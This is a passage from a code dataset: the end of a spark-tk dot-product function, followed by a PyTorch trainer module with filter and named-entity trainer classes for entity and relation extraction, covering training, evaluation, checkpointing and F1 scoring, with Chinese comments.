[2] 3 0.6 0 7\n [3] 4 0.8 1 8\n\n\n Modify the frame by computing the dot product for a sequence of columns:\n\n >>> my_frame.dot_product(['col_0','col_1'], ['col_2', 'col_3'], 'dot_product')\n \n\n >>> my_frame.inspect()\n [#] col_0 col_1 col_2 col_3 dot_product\n ============================================\n [0] 1 0.2 -2 5 -1.0\n [1] 2 0.4 -1 6 0.4\n [2] 3 0.6 0 7 4.2\n [3] 4 0.8 1 8 10.4\n\n \"\"\"\n\n if not isinstance(left_column_names, list):\n left_column_names = [left_column_names]\n if not isinstance(right_column_names, list):\n right_column_names = [right_column_names]\n self._scala.dotProduct(self._tc.jutils.convert.to_scala_list_string(left_column_names),\n self._tc.jutils.convert.to_scala_list_string(right_column_names),\n dot_product_column_name,\n self._tc.jutils.convert.to_scala_option_list_double(default_left_values),\n self._tc.jutils.convert.to_scala_option_list_double(default_right_values))\n","repo_name":"tapanalyticstoolkit/spark-tk","sub_path":"python/sparktk/frame/ops/dot_product.py","file_name":"dot_product.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"54"} +{"seq_id":"18508605636","text":"import torch\nimport torch.nn as nn\nimport os\nimport json\nimport jsonlines\nimport shutil\nimport math\nimport numpy as np\nimport torch.nn.functional as F\nfrom d2l import torch as d2l\nfrom collections import defaultdict, Counter\nfrom torch.utils.data import Dataset, DataLoader\nfrom transformers import AdamW, get_linear_schedule_with_warmup\nfrom utils import ProgressBar, TokenRematch, get_time, save_args, SPO, ACESPO\nfrom loss import multilabel_categorical_crossentropy, sparse_multilabel_categorical_crossentropy\nfrom optimizer import GPLinkerOptimizer\nimport time\nfrom tqdm import tqdm\nfrom copy import deepcopy\n\nclass Trainer(object):\n def __init__(\n self,\n args,\n data_processor,\n logger,\n model=None,\n tokenizer=None,\n train_dataset=None,\n eval_dataset=None,\n test_dataset=None\n ):\n\n self.args = args\n self.model = model\n self.data_processor = data_processor\n self.tokenizer = tokenizer\n \n\n if train_dataset is not None and isinstance(train_dataset, Dataset):\n self.train_dataset = train_dataset\n\n if eval_dataset is not None and isinstance(eval_dataset, Dataset):\n self.eval_dataset = eval_dataset\n\n if test_dataset is not None and isinstance(test_dataset, Dataset):\n self.test_dataset = test_dataset\n\n self.logger = logger\n\n def train(self):\n args = self.args\n logger = self.logger\n model = self.model\n epoch_best_f1 = 0\n self.output_dir = os.path.join(args.output_dir, args.model_version)\n\n \n if args.distributed == True:\n model = nn.DataParallel(model, device_ids=args.devices).to(args.device)\n else:\n model.to(args.device)\n \n \n \n train_dataloader = self.get_train_dataloader()\n num_training_steps = len(train_dataloader) * args.epochs\n num_warmup_steps = num_training_steps * args.warmup_proportion\n num_examples = len(train_dataloader.dataset)\n\n optimizer = GPLinkerOptimizer(args, model, train_steps= len(train_dataloader) * args.epochs)\n \n logger.info(\"***** Running training *****\")\n logger.info(\"Num samples %d\", num_examples)\n logger.info(\"Num epochs %d\", args.epochs)\n logger.info(\"Num training steps %d\", num_training_steps)\n logger.info(\"Num warmup steps %d\", num_warmup_steps)\n\n global_step = 0\n best_step = None\n best_score = 0\n cnt_patience = 0\n \n animator = d2l.Animator(xlabel='epoch', xlim=[0, args.epochs], ylim=[0, 1], fmts=('k-', 'r--', 'y-.', 'm:', 'g--', 'b-.', 'c:'),\n legend=[f'train loss/{args.loss_show_rate}', 'train_p', 'train_r', 'train_f1', 'val_p', 'val_r', 'val_f1'])\n # 统计指标\n metric = d2l.Accumulator(5)\n num_batches = len(train_dataloader)\n \n \n all_times = []\n for epoch in range(args.epochs):\n print('Now Epoch:{}'.format(epoch))\n pbar = ProgressBar(n_total=len(train_dataloader), desc='Training')\n start_time = time.time()\n for step, item in enumerate(train_dataloader):\n loss, train_p, train_r, train_f1 = self.training_step(model, item)\n loss = loss.item()\n metric.add(loss, train_p, train_r, train_f1, 1)\n pbar(step, {'loss': loss})\n\n if args.max_grad_norm:\n torch.nn.utils.clip_grad_norm_(model.parameters(), args.max_grad_norm)\n\n optimizer.step()\n optimizer.zero_grad()\n\n global_step += 1\n \n if args.logging_steps > 0 and global_step % args.logging_steps == 0:\n val_p, val_r, val_f1 = self.evaluate(model)\n print('\\nevaluate finish:p:{}\\tr:{}\\tf1:{}\\n'.format(val_p,val_r,val_f1))\n animator.add(\n global_step / num_batches, \n (# metric[0] / metric[-1] / args.loss_show_rate, # loss太大,除以loss_show_rate才能在[0,1]范围内看到\n loss / args.loss_show_rate,\n train_p, # metric[1] / metric[-1],\n train_r, # metric[2] / metric[-1],\n train_f1, # metric[3] / metric[-1],\n val_p,\n val_r,\n val_f1))\n if not os.path.exists(self.output_dir):\n os.makedirs(self.output_dir)\n d2l.plt.savefig(os.path.join(self.output_dir, '训练过程.jpg'), dpi=300)\n\n if args.save_metric == 'step':\n save_metric = global_step\n elif args.save_metric == 'epoch':\n save_metric = epoch\n elif args.save_metric == 'loss':\n # e的700次方刚好大于0,不存在数值问题\n # 除以10,避免loss太大,exp(-loss)次方由于数值问题会小于0,导致存不上,最大可以处理7000的loss\n save_metric = math.exp(- loss / 10) # math.exp(- metric[0] / metric[-1] / 10)\n elif args.save_metric == 'p':\n save_metric = val_p\n elif args.save_metric == 'r':\n save_metric = val_r\n elif args.save_metric == 'f1':\n save_metric = val_f1\n\n if save_metric > best_score:\n best_score = save_metric\n best_step = global_step\n cnt_patience = 0\n self.args.loss = loss # metric[0] / metric[-1]\n self.args.train_p, self.args.train_r, self.args.train_f1 = train_p, train_r, train_f1\n # metric[1] / metric[-1], metric[2] / metric[-1], metric[3] / metric[-1]\n self.args.val_p, self.args.var_r, self.args.val_f1 = val_p, val_r, val_f1\n print('find best metric, save checkpoint')\n self._save_checkpoint(model)\n else:\n cnt_patience += 1\n self.logger.info(\"Earlystopper counter: %s out of %s\", cnt_patience, args.earlystop_patience)\n if cnt_patience >= self.args.earlystop_patience:\n break\n end_time = time.time()\n use_time = end_time-start_time\n all_times.append(use_time)\n logger.info('One epoch train finish ,use {} seconds'.format(use_time))\n if cnt_patience >= args.earlystop_patience:\n break\n self.args.loss = loss\n self.args.train_p, self.args.train_r, self.args.train_f1 = train_p, train_r, train_f1\n self._save_checkpoint(model)\n logger.info('all epochs finished , al times:{}'.format(all_times))\n logger.info(f\"\\n***** {args.finetuned_model_name} model training stop *****\" )\n logger.info(f'finished time: {get_time()}')\n logger.info(f\"best val_{args.save_metric}: {best_score}, best step: {best_step}\\n\" )\n return global_step, best_step\n\n def predict(self):\n raise NotImplementedError\n\n def evaluate(self, model):\n raise NotImplementedError\n\n def _save_checkpoint(self, model):\n args = self.args\n \n if args.distributed:\n model=model.module\n # 防止91存到3卡,但是82没有3卡的情况\n model = model.to(torch.device('cpu'))\n torch.save(model.state_dict(), os.path.join(self.output_dir, 'pytorch_model.pt'))\n self.logger.info('Saving models checkpoint to %s', self.output_dir)\n self.tokenizer.save_vocabulary(save_directory=self.output_dir)\n model = model.to(args.device)\n save_args(args, self.output_dir)\n shutil.copyfile(os.path.join(args.model_dir, args.pretrained_model_name, 'config.json'),\n os.path.join(self.output_dir, 'config.json'))\n\n def _save_best_epoch_checkpoint(self, model):\n args = self.args\n out = os.path.join(self.output_dir,'best')\n if not os.path.exists(out):\n os.makedirs(out)\n if args.distributed:\n model=model.module\n # 防止91存到3卡,但是82没有3卡的情况\n model = model.to(torch.device('cpu'))\n torch.save(model.state_dict(), os.path.join(out, 'pytorch_model.pt'))\n self.logger.info('Saving models checkpoint to %s', out)\n self.tokenizer.save_vocabulary(save_directory=out)\n model = model.to(args.device)\n save_args(args, out)\n shutil.copyfile(os.path.join(args.model_dir, args.pretrained_model_name, 'config.json'),\n os.path.join(out, 'config.json'))\n \n \n def load_checkpoint(self):\n args = self.args\n load_dir = os.path.join(args.output_dir, args.model_version)\n self.logger.info(f'load model from {load_dir}')\n # 每次加载到cpu中,防止爆显存\n checkpoint = torch.load(os.path.join(load_dir, 'pytorch_model.pt'), map_location=torch.device('cpu'))\n if 'module' in list(checkpoint.keys())[0].split('.'):\n self.model = nn.DataParallel(self.model, device_ids=args.devices).to(args.device)\n self.model.load_state_dict(checkpoint)\n \n def training_step(self, model, item):\n raise NotImplementedError\n\n def get_train_dataloader(self):\n collate_fn = self.train_dataset.collate_fn if hasattr(self.train_dataset, 'collate_fn') else None\n return DataLoader(\n self.train_dataset,\n batch_size=self.args.train_batch_size,\n shuffle=False if self.args.do_rdrop else True,\n collate_fn=collate_fn\n )\n\n def get_eval_dataloader(self):\n collate_fn = self.eval_dataset.collate_fn if hasattr(self.eval_dataset, 'collate_fn') else None\n return DataLoader(\n self.eval_dataset,\n batch_size=self.args.eval_batch_size,\n shuffle=False,\n collate_fn=collate_fn\n )\n\n def get_test_dataloader(self, batch_size=None):\n collate_fn = self.test_dataset.collate_fn_test if hasattr(self.test_dataset, 'collate_fn_test') else None\n if not batch_size:\n batch_size = self.args.eval_batch_size\n\n return DataLoader(\n self.test_dataset,\n batch_size=batch_size,\n shuffle=False,\n collate_fn=collate_fn\n )\n\nclass GPFilterTrainer(Trainer):\n def __init__(\n self,\n args,\n model,\n data_processor,\n tokenizer,\n logger,\n train_dataset=None,\n eval_dataset=None,\n test_dataset = None,\n ngram_dict=None\n ):\n super(GPFilterTrainer, self).__init__(\n args=args,\n model=model,\n data_processor=data_processor,\n tokenizer=tokenizer,\n train_dataset=train_dataset,\n eval_dataset=eval_dataset,\n test_dataset = test_dataset,\n logger=logger,\n )\n\n def training_step(self, model, item):\n model.train()\n device = self.args.device\n item = [i.to(device) for i in item]\n batch_token_ids, batch_mask_ids, batch_head_labels, batch_tail_labels = item\n logits1, logits2 = model(batch_token_ids, batch_mask_ids)\n\n loss1 = sparse_multilabel_categorical_crossentropy(y_true=batch_head_labels, y_pred=logits1, mask_zero=True)\n loss2 = sparse_multilabel_categorical_crossentropy(y_true=batch_tail_labels, y_pred=logits2, mask_zero=True)\n loss = sum([loss1, loss2]) / 2\n \n if self.args.do_rdrop:\n loss_kl = F.kl_div(F.log_softmax(logits1[::2],dim=-1), F.softmax(logits1[1::2],dim=-1), reduction='sum') +\\\n F.kl_div(F.log_softmax(logits1[1::2],dim=-1), F.softmax(logits1[::2],dim=-1), reduction='sum') +\\\n F.kl_div(F.log_softmax(logits2[::2],dim=-1), F.softmax(logits2[1::2],dim=-1), reduction='sum') +\\\n F.kl_div(F.log_softmax(logits2[1::2],dim=-1), F.softmax(logits2[::2],dim=-1), reduction='sum')\n # ’/ 4 * self.args.rdrop_alpha‘三是公式里带的, '/ 2'是为了头尾求平均\n loss = loss + loss_kl / 4 * self.args.rdrop_alpha / logits1.shape[0] / 2\n \n loss.backward()\n\n p1, r1, f11 = self.cal_prf(logits1, batch_head_labels)\n p2, r2, f12 = self.cal_prf(logits2, batch_tail_labels)\n p = (p1 + p2) / 2 \n r = (r1 + r2) / 2\n f1 = (f11 + f12) / 2\n return loss.detach(), p, r, f1\n \n def evaluate(self, model):\n logger = self.logger\n eval_dataloader = self.get_eval_dataloader()\n num_examples = len(eval_dataloader.dataset)\n logger.info(\"***** Running evaluation *****\")\n logger.info(\"Num samples %d\", num_examples)\n pbar = ProgressBar(n_total=len(eval_dataloader), desc='Evaluating')\n device = self.args.device\n all_correct = 0\n all_ypred = 0\n all_ytrue = 0\n with torch.no_grad():\n for step, item in enumerate(eval_dataloader):\n pbar(step)\n model.eval()\n batch_token_ids, batch_mask_ids, batch_head_labels, batch_tail_labels = item\n batch_token_ids, batch_mask_ids, batch_head_labels, batch_tail_labels = \\\n batch_token_ids.to(device), batch_mask_ids.to(device), batch_head_labels.to(device), batch_tail_labels.to(device)\n logits1, logits2 = model(batch_token_ids, batch_mask_ids)\n correct,ypred,ytrue = self.get_ytrue_ypred(logits2, batch_tail_labels)\n all_correct += correct\n all_ypred += ypred\n all_ytrue += ytrue\n correct,ypred,ytrue = self.get_ytrue_ypred(logits1, batch_head_labels)\n all_correct += correct\n all_ypred += ypred\n all_ytrue += ytrue\n p = all_correct / all_ypred if all_ypred != 0 else 0\n r = all_correct / all_ytrue if all_ytrue != 0 else 0\n f1 = 2 * p * r / (p + r) if p + r != 0 else 0\n return p, r, f1\n\n def get_ytrue_ypred(self, y_pred, labels):\n batch_size = labels.shape[0]\n ent_type_size = labels.shape[1]\n ent_num = labels.shape[2]\n h = torch.arange(batch_size).repeat_interleave(ent_type_size * ent_num,-1).reshape(batch_size, ent_type_size,-1)\n i = torch.arange(ent_type_size).repeat_interleave(ent_num,-1).reshape(ent_type_size,-1).repeat(batch_size,1,1)\n j = labels[...,0]\n k = labels[...,1]\n y_true = torch.zeros_like(y_pred)\n y_true[h,i,j,k] = 1\n y_pred = torch.greater(y_pred, 0)\n return torch.sum(y_true * y_pred).item(), torch.sum(y_pred).item(), torch.sum(y_true).item()\n\n def cal_prf(self, y_pred, labels):\n batch_size = labels.shape[0]\n ent_type_size = labels.shape[1]\n ent_num = labels.shape[2]\n h = torch.arange(batch_size).repeat_interleave(ent_type_size * ent_num,-1).reshape(batch_size, ent_type_size,-1)\n i = torch.arange(ent_type_size).repeat_interleave(ent_num,-1).reshape(ent_type_size,-1).repeat(batch_size,1,1)\n j = labels[...,0]\n k = labels[...,1]\n y_true = torch.zeros_like(y_pred)\n y_true[h,i,j,k] = 1\n \n y_pred = torch.greater(y_pred, 0)\n p = torch.sum(y_true * y_pred).item() / torch.sum(y_pred).item() if torch.sum(y_pred).item() != 0 else 0\n r = torch.sum(y_true * y_pred).item() / torch.sum(y_true).item() if torch.sum(y_true).item() != 0 else 0\n f1 = 2 * p * r / (p + r) if p + r != 0 else 0\n return p, r, f1\n\n def predict_filter(self):\n args = self.args\n logger = self.logger\n model = self.model\n output_dir = os.path.join('./result_output', 'filter_ace','gpf-'+args.model_version+'__gpner-'+args.model_version_1+'__gpner9-'+args.model_version_2)\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n output_dir = output_dir + '/test.jsonl'\n self.max_length = args.max_length\n data_processor = self.data_processor\n# schema = data_processor.schema\n schema = data_processor.predicate2id\n tokenizer = self.tokenizer\n device = args.device\n# num_examples = 4482\n id2predicate = data_processor.id2predicate\n\n start_time = time.time()\n test_dataloader = self.get_test_dataloader()\n num_examples = len(test_dataloader.dataset)\n logger.info(\"***** Running Testing *****\")\n logger.info(\"Num samples %d\", num_examples)\n pbar = ProgressBar(n_total=len(test_dataloader), desc='Testing')\n device = self.args.device\n model.to(device)\n model.eval()\n predict_datas = []\n with torch.no_grad():\n for step, item in enumerate(test_dataloader):\n pbar(step)\n \n text_list,spo_list,out_list = item\n encoder_text = self.tokenizer(text_list, max_length=self.max_length, truncation=True,padding=True,return_tensors='pt')\n input_ids = encoder_text['input_ids']\n attention_mask = encoder_text['attention_mask']\n input_ids, attention_mask = input_ids.to(device), attention_mask.to(device)\n score = model(input_ids, attention_mask)\n \n sentence_index_list = []\n p_list = []\n sh_list = []\n oh_list = []\n st_list = []\n ot_list = []\n get_spo = []\n for i in range(len(spo_list)):\n item_spo = spo_list[i]\n for spo in item_spo:\n relation_key = spo['subject_type'] + \"_\" + spo['predicate'] + '_' + spo['object_type']\n if relation_key not in schema:\n continue\n p = schema[relation_key]\n sh = spo['subject_h']\n st = spo['subject_t']\n oh = spo['object_h']\n ot = spo['object_t']\n sentence_index_list.append(i)\n p_list.append(p)\n sh_list.append(int(sh))\n st_list.append(int(st))\n oh_list.append(int(oh))\n ot_list.append(int(ot)) \n get_spo.append({'text_index':i,'spo':spo})\n \n p_sh_oh_list = [sentence_index_list,p_list,sh_list,oh_list]\n p_st_ot_list = [sentence_index_list,p_list,st_list,ot_list]\n sh_oh_output = score[0].cpu()\n st_ot_output = score[1].cpu()\n sh_oh_check = (sh_oh_output[p_sh_oh_list]>args.filter_head_threshold).int()\n st_ot_check = (st_ot_output[p_st_ot_list]>args.filter_tail_threshold).int()\n final_check = sh_oh_check*st_ot_check\n for select_index in torch.where(final_check>0)[0]:\n select_spo = get_spo[select_index]\n out_list[select_spo['text_index']]['spo_list'].append(select_spo['spo'])\n \n \n predict_datas.extend(out_list)\n with jsonlines.open(output_dir, mode='w') as f:\n for data in predict_datas:\n f.write(data)\n end_time = time.time()\n print('cost time:{} seconds'.format(end_time-start_time))\n self.get_res_prf(output_dir)\n\n def get_res_prf(self,read_path):\n gold_path = os.path.join(self.args.data_dir,'test.json')\n # 黄金数据\n all_gold_jsons=[]\n with open(gold_path, 'r') as f_1:\n lines = f_1.readlines()\n for line in lines:\n all_gold_jsons.append(json.loads(line))\n gold_spos=[]\n for i in range(len(all_gold_jsons)):\n gold_json=all_gold_jsons[i]\n spo_list=gold_json['spo_list']\n for spo in spo_list:\n # print('spo:{}'.format(spo))\n if self.args.with_type:\n gold_spos.append((i,spo['predicate'],spo['subject'].strip(),spo['subject_type'].strip(),spo['object'].strip(),spo['object_type'].strip()))\n else:\n gold_spos.append((i,spo['predicate'],spo['subject'].strip(),spo['object'].strip()))\n\n #获取预测数据\n all_predict_jsons=[]\n with open(read_path, 'r') as f_2:\n lines = f_2.readlines()\n for line in lines:\n all_predict_jsons.append(json.loads(line))\n predict_spos=[]\n for i in range(len(all_predict_jsons)):\n predict_json=all_predict_jsons[i]\n spo_list=predict_json['spo_list']\n for spo in spo_list:\n if self.args.with_type:\n predict_spos.append((i,spo['predicate'],spo['subject'].strip(),spo['subject_type'].strip(),spo['object'].strip(),spo['object_type'].strip()))\n else:\n predict_spos.append((i,spo['predicate'],spo['subject'].strip(),spo['object'].strip()))\n\n # 计算pre,rec,f1\n P = len(set(predict_spos) & set(gold_spos)) / len(set(predict_spos)) if len(set(predict_spos)) != 0 else 0\n R = len(set(predict_spos) & set(gold_spos)) / len(set(gold_spos)) if len(set(gold_spos)) != 0 else 0\n F = (2 * P * R) / (P + R) if P+R != 0 else 0\n print('\\nRESULT PRF:\\n')\n print(str(round(P*100,2))+'|'+str(round(R*100,2))+'|'+str(round(F*100,2))+'|'+'\\n')\n \n\nclass GPNERTrainer(Trainer):\n def __init__(\n self,\n args,\n model,\n data_processor,\n tokenizer,\n logger,\n train_dataset=None,\n eval_dataset=None,\n test_dataset=None,\n ngram_dict=None\n ):\n super(GPNERTrainer, self).__init__(\n args=args,\n model=model,\n data_processor=data_processor,\n tokenizer=tokenizer,\n train_dataset=train_dataset,\n eval_dataset=eval_dataset,\n test_dataset=test_dataset,\n logger=logger,\n )\n \n def training_step(self, model, item):\n model.train()\n device = self.args.device\n item = [i.to(device) for i in item]\n batch_token_ids, batch_mask_ids, batch_entity_labels = item\n logits = model(batch_token_ids, batch_mask_ids)\n loss = sparse_multilabel_categorical_crossentropy(y_true=batch_entity_labels, y_pred=logits, mask_zero=True)\n loss.backward()\n p, r, f1 = self.cal_prf(logits, batch_entity_labels)\n return loss.detach(), p, r, f1\n \n def cal_prf(self, y_pred, labels):\n batch_size = labels.shape[0]\n ent_type_size = labels.shape[1]\n ent_num = labels.shape[2]\n h = torch.arange(batch_size).repeat_interleave(ent_type_size * ent_num,-1).reshape(batch_size, ent_type_size,-1)\n i = torch.arange(ent_type_size).repeat_interleave(ent_num,-1).reshape(ent_type_size,-1).repeat(batch_size,1,1)\n j = labels[...,0]\n k = labels[...,1]\n y_true = torch.zeros_like(y_pred)\n y_true[h,i,j,k] = 1\n y_pred = torch.greater(y_pred, 0)\n p = torch.sum(y_true * y_pred).item() / torch.sum(y_pred).item() if torch.sum(y_pred).item() != 0 else 0\n r = torch.sum(y_true * y_pred).item() / torch.sum(y_true).item() if torch.sum(y_true).item() != 0 else 0\n f1 = 2 * p * r / (p + r) if p + r != 0 else 0\n return p, r, f1 \n \n def evaluate(self, model):\n logger = self.logger\n eval_dataloader = self.get_eval_dataloader()\n num_examples = len(eval_dataloader.dataset)\n logger.info(\"***** Running evaluation *****\")\n logger.info(\"Num samples %d\", num_examples)\n pbar = ProgressBar(n_total=len(eval_dataloader), desc='Evaluating')\n device = self.args.device\n all_correct = 0\n all_ypred = 0\n all_ytrue = 0\n with torch.no_grad():\n for step, item in enumerate(eval_dataloader):\n pbar(step)\n model.eval()\n batch_token_ids, batch_mask_ids, batch_entity_labels = item\n batch_token_ids, batch_mask_ids, batch_entity_labels = \\\n batch_token_ids.to(device), batch_mask_ids.to(device), batch_entity_labels.to(device)\n logits = model(batch_token_ids, batch_mask_ids)\n correct,ypred,ytrue = self.get_ytrue_ypred(logits, batch_entity_labels)\n all_correct += correct\n all_ypred += ypred\n all_ytrue += ytrue\n p = all_correct / all_ypred if all_ypred != 0 else 0\n r = all_correct / all_ytrue if all_ytrue != 0 else 0\n f1 = 2 * p * r / (p + r) if p + r != 0 else 0\n return p, r, f1\n \n def get_ytrue_ypred(self, y_pred, labels):\n batch_size = labels.shape[0]\n ent_type_size = labels.shape[1]\n ent_num = labels.shape[2]\n h = torch.arange(batch_size).repeat_interleave(ent_type_size * ent_num,-1).reshape(batch_size, ent_type_size,-1)\n i = torch.arange(ent_type_size).repeat_interleave(ent_num,-1).reshape(ent_type_size,-1).repeat(batch_size,1,1)\n j = labels[...,0]\n k = labels[...,1]\n y_true = torch.zeros_like(y_pred)\n y_true[h,i,j,k] = 1\n y_pred = torch.greater(y_pred, 0)\n return torch.sum(y_true * y_pred).item(), torch.sum(y_pred).item(), torch.sum(y_true).item()\n\n def predict(self):\n start_time = time.time()\n args = self.args\n logger = self.logger\n model = self.model\n id2class = self.data_processor.id2class\n self.max_length = args.max_length\n test_dataloader = self.get_test_dataloader()\n num_examples = len(test_dataloader.dataset)\n logger.info(\"***** Running Entity Extraction *****\")\n logger.info(\"Num samples %d\", num_examples)\n pbar = ProgressBar(n_total=len(test_dataloader), desc='Testing')\n device = self.args.device\n model.to(device)\n model.eval()\n predict_datas = []\n with torch.no_grad():\n for step, item in enumerate(test_dataloader):\n pbar(step)\n text_list = item\n texts = [text_list_item['text'] for text_list_item in text_list]\n encoder_text = self.tokenizer(texts, return_offsets_mapping=True, max_length=self.max_length, truncation=True,padding=True,return_tensors='pt')\n input_ids = encoder_text['input_ids']\n attention_mask = encoder_text['attention_mask']\n # 计算要mask的\n valid_length = (torch.sum(attention_mask,dim=-1)-1).tolist()\n text_num = len(input_ids)\n valid_length = [[0]*text_num,valid_length]\n valid_index = list(range(text_num))\n offset_mapping = encoder_text['offset_mapping']\n input_ids, attention_mask = input_ids.to(device), attention_mask.to(device)\n multi_mask = attention_mask.unsqueeze(dim=-1).unsqueeze(dim=1)\n # 拿到输出\n # 根据长度 ,第一个和最后一个都减inf, 乘上attention_mask\n score = model(input_ids, attention_mask)\n outputs = (score*multi_mask).data.cpu().numpy()\n outputs[valid_index,:,valid_length,:] -= np.inf\n outputs[valid_index,:,:,valid_length] -= np.inf\n # 获取大于0的\n for text_index,entity_type, h, t in zip(*np.where(outputs > 0)):\n text = text_list[text_index]['text']\n text_offset_mapping = offset_mapping[text_index]\n #解码到text\n text_list[text_index]['entity_list'].append({'entity':text[text_offset_mapping[h][0]:text_offset_mapping[t][-1]], 'entity_type':id2class[entity_type],'h':str(h), 't':str(t)})\n # 加入最终数据\n predict_datas.extend(text_list)\n # entity抽取完毕,输出\n output_dir = os.path.join(args.result_output_dir, 'entity_list.jsonl')\n logger.info(f\"***** write predict file to {output_dir} *****\")\n with jsonlines.open(output_dir, mode='w') as f:\n # 第0类数据的预测结果\n for data in predict_datas:\n f.write(data)\n end_time = time.time()\n print('cost time:{} seconds'.format(end_time-start_time))\n self.predict_XP2X(output_dir,from_entity=True)\n\n\n def collate_fn_test(self,examples):\n text_list = []\n for item in examples:\n text = item\n text_list.append(text)\n\n return text_list\n \n def predict_XP2X(self,read_path,from_entity=False):\n start_time = time.time()\n args = self.args\n logger = self.logger\n model = self.model\n id2class = self.data_processor.id2class\n self.max_length = args.max_length\n predict_datas = []\n with jsonlines.open(read_path, mode='r') as lines:\n for line in lines:\n if 'spo_list' not in line.keys():\n line['spo_list'] = []\n predict_datas.append(line) \n processed_samples = []\n task = 'SP2O' if args.finetuned_model_name=='gpner' else 'OP2S'\n pbar2 = ProgressBar(n_total=len(predict_datas), desc='GET DATA')\n for index,sample in enumerate(predict_datas):\n pbar2(index)\n text = sample['text']\n if from_entity:\n for entity_dic in sample['entity_list']:\n entity = entity_dic['entity']\n h = entity_dic['h']\n t = entity_dic['t']\n entity_type = entity_dic['entity_type'] if args.with_type else ''\n for predicate in self.data_processor.predicates:\n prefix = self.data_processor.add_prefix(text, entity, predicate)\n prefix_encode_length = len(self.tokenizer(prefix,add_special_tokens=False)['input_ids'])\n processed_samples.append({'text': prefix+text, 'entity': entity, 'entity_type': entity_type, 'predicate': predicate, 'index':index,'h':h, 't':t,'prefix_encode_length':prefix_encode_length})\n else:\n for spo in sample['spo_list']:\n if task == 'SP2O':\n entity = spo['subject']\n h = spo['subject_h']\n t = spo['subject_t']\n entity_type = spo['subject_type'] if args.with_type else ''\n else:\n entity = spo['object']\n h = spo['object_h']\n t = spo['object_t']\n entity_type = spo['object_type'] if args.with_type else ''\n predicate = spo['predicate']\n prefix = self.data_processor.add_prefix(text, entity, predicate)\n prefix_encode_length = len(self.tokenizer(prefix,add_special_tokens=False)['input_ids'])\n processed_samples.append({'text': prefix+text, 'entity': entity, 'entity_type': entity_type, 'predicate': predicate, 'index':index,'h':h, 't':t,'prefix_encode_length':prefix_encode_length})\n\n\n print('\\n构造完毕,共:{}条'.format(len(processed_samples)))\n test_dataloader_2 = DataLoader(\n processed_samples,\n batch_size=self.args.eval_batch_size,\n shuffle=False,\n collate_fn=self.collate_fn_test\n )\n num_examples = len(test_dataloader_2.dataset)\n logger.info(\"***** Running {} *****\".format(task))\n logger.info(\"Num samples %d\", num_examples)\n pbar = ProgressBar(n_total=len(test_dataloader_2), desc='Testing')\n device = self.args.device\n model.to(device)\n model.eval()\n with torch.no_grad():\n for step, item in enumerate(test_dataloader_2):\n pbar(step)\n text_list = item\n texts = [text_list_item['text'] for text_list_item in text_list]\n encoder_text = self.tokenizer(texts, return_offsets_mapping=True, max_length=self.max_length, truncation=True,padding=True,return_tensors='pt')\n input_ids = encoder_text['input_ids']\n attention_mask = encoder_text['attention_mask']\n # 计算要mask的\n valid_length = (torch.sum(attention_mask,dim=-1)-1).tolist()\n text_num = len(input_ids)\n valid_length = [[0]*text_num,valid_length]\n valid_index = list(range(text_num))\n offset_mapping = encoder_text['offset_mapping']\n input_ids, attention_mask = input_ids.to(device), attention_mask.to(device)\n multi_mask = attention_mask.unsqueeze(dim=-1).unsqueeze(dim=1)\n # 拿到输出\n # 根据长度 ,第一个和最后一个都减inf, 乘上attention_mask\n score = model(input_ids, attention_mask)\n outputs = (score*multi_mask).data.cpu().numpy()\n outputs[valid_index,:,valid_length,:] -= np.inf\n outputs[valid_index,:,:,valid_length] -= np.inf\n # 获取大于0的\n for text_index,entity_type, h, t in zip(*np.where(outputs > 0)):\n data = text_list[text_index]\n text = data['text']\n text_offset_mapping = offset_mapping[text_index]\n pre_entity = data['entity']\n predicate = data['predicate']\n pre_entity_type = data['entity_type']\n ori_h = data['h']\n ori_t = data['t']\n prefix_encode_length = data['prefix_encode_length']\n now_h = str(h-prefix_encode_length)\n now_t = str(t-prefix_encode_length)\n #解码到text\n if args.finetuned_model_name == 'gpner':\n predict_datas[data['index']]['spo_list'].append({'predicate': predicate, 'subject': pre_entity, 'subject_type': pre_entity_type,'object': text[text_offset_mapping[h][0]:text_offset_mapping[t][-1]], 'object_type': id2class[entity_type],'subject_h':ori_h,'subject_t':ori_t,'object_h':now_h,'object_t':now_t})\n else:\n predict_datas[data['index']]['spo_list'].append({'predicate': predicate, 'object': pre_entity, 'object_type': pre_entity_type,'subject': text[text_offset_mapping[h][0]:text_offset_mapping[t][-1]], 'subject_type': id2class[entity_type],'subject_h':now_h,'subject_t':now_t,'object_h':ori_h,'object_t':ori_t})\n # entity抽取完毕,输出\n logger.info(\"***** Running {} prediction *****\".format(task))\n logger.info(\"Num samples %d\", num_examples)\n output_dir = os.path.join(args.result_output_dir, 'test.jsonl')\n logger.info(f\"***** write predict file to {output_dir} *****\")\n with jsonlines.open(output_dir, mode='w') as f:\n # 第0类数据的预测结果\n for data in predict_datas:\n if 'entity_list' in data.keys():\n del data['entity_list']\n f.write(data)\n end_time = time.time()\n print('All cost time:{} seconds'.format(end_time-start_time))\n self.get_predict_prf(output_dir) \n\n def get_predict_prf(self,read_path):\n gold_path = os.path.join(self.args.data_dir,'test.json')\n # 黄金数据\n all_gold_jsons=[]\n with open(gold_path, 'r') as f_1:\n lines = f_1.readlines()\n for line in lines:\n all_gold_jsons.append(json.loads(line))\n gold_spos=[]\n for i in range(len(all_gold_jsons)):\n gold_json=all_gold_jsons[i]\n spo_list=gold_json['spo_list']\n for spo in spo_list:\n if self.args.with_type:\n gold_spos.append((i,spo['predicate'],spo['subject'].strip(),spo['subject_type'].strip(),spo['object'].strip(),spo['object_type'].strip()))\n else:\n gold_spos.append((i,spo['predicate'],spo['subject'].strip(),spo['object'].strip()))\n\n #获取预测数据\n all_predict_jsons=[]\n with open(read_path, 'r') as f_2:\n lines = f_2.readlines()\n for line in lines:\n all_predict_jsons.append(json.loads(line))\n predict_spos=[]\n for i in range(len(all_predict_jsons)):\n predict_json=all_predict_jsons[i]\n spo_list=predict_json['spo_list']\n for spo in spo_list:\n if self.args.with_type:\n predict_spos.append((i,spo['predicate'],spo['subject'].strip(),spo['subject_type'].strip(),spo['object'].strip(),spo['object_type'].strip()))\n else:\n predict_spos.append((i,spo['predicate'],spo['subject'].strip(),spo['object'].strip()))\n\n # 计算pre,rec,f1\n\n P = len(set(predict_spos) & set(gold_spos)) / len(set(predict_spos)) if len(set(predict_spos)) != 0 else 0\n R = len(set(predict_spos) & set(gold_spos)) / len(set(gold_spos)) if 